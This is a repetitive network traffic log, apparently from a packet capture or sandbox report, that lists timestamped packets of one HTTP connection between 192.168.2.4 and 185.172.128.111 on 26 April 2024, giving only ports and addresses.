Apr 26, 2024 09:41:11.809943914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809962034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809978962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809988976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809998989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.810014963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.810024977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.810039043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.810049057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.810065031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.810075045 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.810089111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.810100079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.810115099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.810126066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.810142040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.810152054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.810165882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.810183048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.810198069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.810210943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.810233116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.810262918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.810301065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.860908985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.860943079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.860960007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.860977888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.860996962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.861021996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.861041069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.861047983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.861064911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.861080885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.861093044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.861112118 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.861124039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.861135006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.861150980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.861160994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.861176968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.861186981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.861202002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.861212969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.861232996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.862678051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.862723112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.862744093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.862781048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.862790108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.862818956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.862829924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.862848997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.862875938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.862884998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.862906933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.862948895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.862965107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.862999916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863022089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863065958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863084078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863100052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863120079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863126993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863136053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863151073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863162994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863178015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863188028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863203049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863214016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863228083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863239050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863254070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863264084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863277912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863287926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863302946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863313913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863328934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863341093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863356113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863367081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863383055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863394022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863410950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863424063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863439083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.863451004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.863476038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.864624023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.864641905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.864662886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.864670038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.864681005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.864696980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.864708900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.864733934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.864784956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.864803076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.864829063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.864839077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.864852905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.864871025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.864890099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.864905119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.864967108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865010977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865045071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865062952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865087032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865098953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865214109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865231037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865252018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865258932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865268946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865295887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865309000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865326881 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865345001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865361929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865377903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865417004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865478992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865495920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865519047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865526915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865539074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865554094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865561008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865578890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865601063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865608931 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865619898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865637064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865645885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865660906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.865674973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.865696907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.866703033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.866739988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.866749048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.866781950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.866791964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.866825104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.866841078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.866866112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.866925955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.866965055 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.866982937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.866998911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.867026091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.867034912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.867049932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.867083073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.867094994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.867115974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.867134094 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.867243052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.867243052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.867266893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.867305040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.867331982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.867366076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.867379904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.867410898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.867420912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.867435932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.867453098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.867464066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.867475986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.867496014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.869898081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.869915009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.869932890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.869967937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.869982958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.869993925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870028019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.870409012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870425940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870457888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.870470047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.870582104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870599031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870628119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.870637894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.870666981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870686054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870711088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.870718002 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.870839119 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870857954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870887041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.870898008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.870927095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870944023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870965004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.870971918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.870982885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.870996952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.871009111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.871025085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.871035099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.871049881 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.871061087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.871083021 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874042034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874085903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874093056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874135971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874167919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874186039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874212980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874228001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874254942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874274015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874305964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874325037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874336004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874351025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874375105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874397993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874414921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874433994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874445915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874456882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874471903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874480009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874496937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.874521971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.874536991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.882447958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.882498980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.882524014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.882560015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.882601976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.882620096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.882642984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.882656097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.891350031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.891405106 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.891424894 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.891448975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.891458988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.891474009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.891494989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.891889095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.891941071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.891951084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.891989946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.892131090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.892162085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.892177105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.892190933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.892272949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.892321110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.892354965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.892398119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.892429113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.892446041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.892477989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.892494917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.892518044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.892553091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.892560005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.892606020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.912781954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.912812948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.912847996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.912868977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.912889957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.912908077 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.912924051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.912945986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.912978888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.913022995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.913038969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.913078070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.913332939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.913379908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.913398981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.913439035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.913458109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.913495064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.913541079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.913590908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.913609982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.913656950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.913786888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.913831949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.913969994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914019108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914030075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914056063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914104939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914150000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914181948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914221048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914252996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914304018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914321899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914371014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914552927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914578915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914598942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914661884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914685011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914711952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914726973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914750099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914763927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914807081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914823055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914856911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.914932013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.914972067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.915040970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.915086985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.915119886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.915159941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.915285110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.915329933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.915498972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.915540934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.915575027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.915615082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.915714979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.915756941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.916060925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.916136026 CEST	49730	80	192.168.2.4	185.172.128.111
